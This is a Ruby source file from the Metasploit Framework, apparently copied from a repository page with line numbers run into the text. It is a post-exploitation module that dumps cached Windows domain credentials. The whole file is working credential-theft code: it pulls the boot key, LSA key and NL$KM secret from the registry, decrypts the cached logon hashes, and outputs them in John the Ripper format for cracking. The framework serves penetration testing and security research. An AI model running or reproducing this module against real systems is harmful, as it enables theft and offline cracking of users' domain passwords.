Path: blob/master/modules/post/windows/gather/cachedump.rb
22095 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'English'6class MetasploitModule < Msf::Post7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Registry910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather Credential Cache Dump',15'Description' => %q{16This module uses the registry to extract the stored domain hashes that have been17cached as a result of a GPO setting. The default setting on Windows is to store18the last ten successful logins.19},20'License' => MSF_LICENSE,21'Author' => [22'Maurizio Agazzini <inode[at]mediaservice.net>',23'mubix'24],25'Platform' => ['win'],26'SessionTypes' => ['meterpreter'],27'References' => [28['URL', 'https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb'],29['ATT&CK', Mitre::Attack::Technique::T1003_005_CACHED_DOMAIN_CREDENTIALS]30],31'Notes' => {32'Stability' => [CRASH_SAFE],33'Reliability' => [],34'SideEffects' => []35},36'Compat' => {37'Meterpreter' => {38'Commands' => %w[39stdapi_railgun_api40stdapi_registry_open_key41]42}43}44)45)46end4748def check_gpo49gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')50print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")51end5253def capture_nlkm(lsakey)54nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')5556vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")5758if lsa_vista_style?59nlkm_dec = decrypt_lsa_data(nlkm, lsakey)60elsif sysinfo['Architecture'] == ARCH_X6461nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)62else # 32 bits63nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)64end6566return nlkm_dec67end6869def parse_decrypted_cache(dec_data, cache_entry)70i = 071hash = dec_data[i, 0x10]72i += 727374username = dec_data[i, cache_entry.user_name_length].split("\x00\x00").first.gsub("\x00", '')75i += cache_entry.user_name_length76i += 2 * ((cache_entry.user_name_length / 2) % 2)7778vprint_good "Username\t\t: #{username}"79vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"8081if lsa_vista_style?82if (cache_entry.iteration_count > 10240)83iteration_count = cache_entry.iteration_count & 0xfffffc0084else85iteration_count = cache_entry.iteration_count * 102486end87vprint_good "Iteration count\t: #{cache_entry.iteration_count} -> real #{iteration_count}"88end8990last = Time.at(cache_entry.last_access)91vprint_good "Last login\t\t: #{last.strftime('%F %T')} "9293dec_data[i, cache_entry.domain_name_length + 1]94i += cache_entry.domain_name_length9596if (cache_entry.dns_domain_name_length != 0)97dns_domain_name = dec_data[i, cache_entry.dns_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')98i += cache_entry.dns_domain_name_length99i += 2 * ((cache_entry.dns_domain_name_length / 2) % 2)100vprint_good "DNS Domain Name\t: #{dns_domain_name}"101end102103if (cache_entry.upn_length != 0)104upn = dec_data[i, cache_entry.upn_length + 1].split("\x00\x00").first.gsub("\x00", '')105i += cache_entry.upn_length106i += 2 * ((cache_entry.upn_length / 2) % 2)107vprint_good "UPN\t\t\t: #{upn}"108end109110if (cache_entry.effective_name_length != 0)111effective_name = dec_data[i, cache_entry.effective_name_length + 1].split("\x00\x00").first.gsub("\x00", '')112i += cache_entry.effective_name_length113i += 2 * ((cache_entry.effective_name_length / 2) % 2)114vprint_good "Effective Name\t: #{effective_name}"115end116117if (cache_entry.full_name_length != 0)118full_name = dec_data[i, cache_entry.full_name_length + 1].split("\x00\x00").first.gsub("\x00", '')119i += cache_entry.full_name_length120i += 2 * ((cache_entry.full_name_length / 2) % 2)121vprint_good "Full Name\t\t: #{full_name}"122end123124if (cache_entry.logon_script_length != 0)125logon_script = dec_data[i, cache_entry.logon_script_length + 1].split("\x00\x00").first.gsub("\x00", '')126i += cache_entry.logon_script_length127i += 2 * ((cache_entry.logon_script_length / 2) % 2)128vprint_good "Logon Script\t\t: #{logon_script}"129end130131if (cache_entry.profile_path_length != 0)132profile_path = dec_data[i, cache_entry.profile_path_length + 1].split("\x00\x00").first.gsub("\x00", '')133i += cache_entry.profile_path_length134i += 2 * ((cache_entry.profile_path_length / 2) % 2)135vprint_good "Profile Path\t\t: #{profile_path}"136end137138if (cache_entry.home_directory_length != 0)139home_directory = dec_data[i, cache_entry.home_directory_length + 1].split("\x00\x00").first.gsub("\x00", '')140i += cache_entry.home_directory_length141i += 2 * ((cache_entry.home_directory_length / 2) % 2)142vprint_good "Home Directory\t\t: #{home_directory}"143end144145if (cache_entry.home_directory_drive_length != 0)146home_directory_drive = dec_data[i, cache_entry.home_directory_drive_length + 1].split("\x00\x00").first.gsub("\x00", '')147i += cache_entry.home_directory_drive_length148i += 2 * ((cache_entry.home_directory_drive_length / 2) % 2)149vprint_good "Home Directory Drive\t: #{home_directory_drive}"150end151152vprint_good "User ID\t\t: #{cache_entry.user_id}"153vprint_good "Primary Group ID\t: #{cache_entry.primary_group_id}"154155relative_id = []156while (cache_entry.group_count > 0)157# TODO: parse attributes158relative_id << dec_data[i, 4].unpack('V')[0]159i += 4160dec_data[i, 4].unpack('V')[0]161i += 4162cache_entry.group_count -= 1163end164165vprint_good("Additional groups\t: #{relative_id.join ' '}")166167if cache_entry.logon_domain_name_length != 0168logon_domain_name = dec_data[i, cache_entry.logon_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')169cache_entry.logon_domain_name_length170cache_entry.logon_domain_name_length171vprint_good "Logon domain name\t: #{logon_domain_name}"172end173174@credentials <<175[176username,177hash.unpack('H*')[0],178iteration_count,179logon_domain_name,180dns_domain_name,181last.strftime('%F %T'),182upn,183effective_name,184full_name,185logon_script,186profile_path,187home_directory,188home_directory_drive,189cache_entry.primary_group_id,190relative_id.join(' '),191]192193vprint_good('----------------------------------------------------------------------')194195if lsa_vista_style?196return "#{username.downcase}:$DCC2$#{iteration_count}##{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"197end198199"#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"200end201202def parse_cache_entry(cache_data)203j = Struct.new(204:user_name_length,205:domain_name_length,206:effective_name_length,207:full_name_length,208:logon_script_length,209:profile_path_length,210:home_directory_length,211:home_directory_drive_length,212:user_id,213:primary_group_id,214:group_count,215:logon_domain_name_length,216:logon_domain_id_length,217:last_access,218:last_access_time,219:revision,220:sid_count,221:valid,222:iteration_count,223:sif_length,224:logon_package,225:dns_domain_name_length,226:upn_length,227:ch,228:enc_data229)230231s = j.new232233s.user_name_length = cache_data[0, 2].unpack('v')[0]234s.domain_name_length = cache_data[2, 2].unpack('v')[0]235s.effective_name_length = cache_data[4, 2].unpack('v')[0]236s.full_name_length = cache_data[6, 2].unpack('v')[0]237s.logon_script_length = cache_data[8, 2].unpack('v')[0]238s.profile_path_length = cache_data[10, 2].unpack('v')[0]239s.home_directory_length = cache_data[12, 2].unpack('v')[0]240s.home_directory_drive_length = cache_data[14, 2].unpack('v')[0]241242s.user_id = cache_data[16, 4].unpack('V')[0]243s.primary_group_id = cache_data[20, 4].unpack('V')[0]244s.group_count = cache_data[24, 4].unpack('V')[0]245s.logon_domain_name_length = cache_data[28, 2].unpack('v')[0]246s.logon_domain_id_length = cache_data[30, 2].unpack('v')[0]247248# Removed ("Q") unpack and replaced as such249thi = cache_data[32, 4].unpack('V')[0]250tlo = cache_data[36, 4].unpack('V')[0]251q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)252s.last_access = ((q / 10000000) - 11644473600)253254s.revision = cache_data[40, 4].unpack('V')[0]255s.sid_count = cache_data[44, 4].unpack('V')[0]256s.valid = cache_data[48, 2].unpack('v')[0]257s.iteration_count = cache_data[50, 2].unpack('v')[0]258s.sif_length = cache_data[52, 4].unpack('V')[0]259260s.logon_package = cache_data[56, 4].unpack('V')[0]261s.dns_domain_name_length = cache_data[60, 2].unpack('v')[0]262s.upn_length = cache_data[62, 2].unpack('v')[0]263264s.ch = cache_data[64, 16]265s.enc_data = cache_data[96..]266267s268end269270def decrypt_hash(edata, nlkm, ch)271rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)272rc4 = OpenSSL::Cipher.new('rc4')273rc4.key = rc4key274decrypted = rc4.update(edata)275decrypted << rc4.final276277decrypted278end279280def decrypt_hash_vista(edata, nlkm, ch)281aes = OpenSSL::Cipher.new('aes-128-cbc')282aes.decrypt283aes.key = nlkm[16...32]284aes.padding = 0285aes.iv = ch286287decrypted = ''288(0...edata.length).step(16) do |i|289decrypted << aes.update(edata[i, 16])290end291292decrypted293end294295def run296hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']297print_status("Running module against #{hostname} (#{session.session_host})")298299@credentials = Rex::Text::Table.new(300'Header' => 'MSCACHE Credentials',301'Indent' => 1,302'Columns' =>303[304'Username',305'Hash',306'Hash iteration count',307'Logon Domain Name',308'DNS Domain Name',309'Last Login',310'UPN',311'Effective Name',312'Full Name',313'Logon Script',314'Profile Path',315'Home Directory',316'HomeDir Drive',317'Primary Group',318'Additional Groups'319]320)321322client.railgun.netapi32323join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']324325if sysinfo['Architecture'] == ARCH_X64326join_status &= 0x00000000ffffffff327end328329if join_status != 3330fail_with(Failure::NoTarget, 'System is not joined to a domain, exiting..')331end332333# Check policy setting for cached creds334check_gpo335336print_status('Obtaining boot key...')337bootkey = capture_boot_key338339fail_with(Failure::Unknown, 'Could not retrieve boot key. Are you SYSTEM?') if bootkey.blank?340341vprint_status("Boot key: #{bootkey.unpack1('H*')}")342343print_status('Obtaining Lsa key...')344lsa_key = capture_lsa_key(bootkey)345346fail_with(Failure::Unknown, 'Could not retrieve LSA key. Are you SYSTEM?') if lsa_key.blank?347348vprint_status("Lsa Key: #{lsa_key.unpack('H*')[0]}")349350print_status('Obtaining NL$KM...')351nlkm = capture_nlkm(lsa_key)352vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")353354print_status('Dumping cached credentials...')355ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)356357john = ''358359ok.enum_value.each do |usr|360next unless usr.name.match(/^NL\$\d+$/)361362begin363nl = ok.query_value(usr.name.to_s).data364rescue StandardError365next366end367368cache = parse_cache_entry(nl)369370next unless (cache.user_name_length > 0)371372vprint_status("Reg entry: #{nl.unpack('H*')[0]}")373vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")374vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")375376if lsa_vista_style?377dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)378else379dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)380end381382vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")383384john << parse_decrypted_cache(dec_data, cache)385end386387if @credentials.rows.empty?388print_status('Found no cached credentials')389return390end391392if lsa_vista_style?393print_status('Hash are in MSCACHE_VISTA format. (mscash2)')394p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')395print_good("MSCACHE v2 saved in: #{p}")396john = "# mscash2\n" + john397else398print_status('Hash are in MSCACHE format. (mscash)')399p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')400print_good("MSCACHE v1 saved in: #{p}")401john = "# mscash\n" + john402end403404print_status('John the Ripper format:')405print_line(john)406rescue ::Interrupt407raise $ERROR_INFO408rescue ::Rex::Post::Meterpreter::RequestError => e409print_error("Meterpreter Exception: #{e.class} #{e}")410print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')411end412end413414415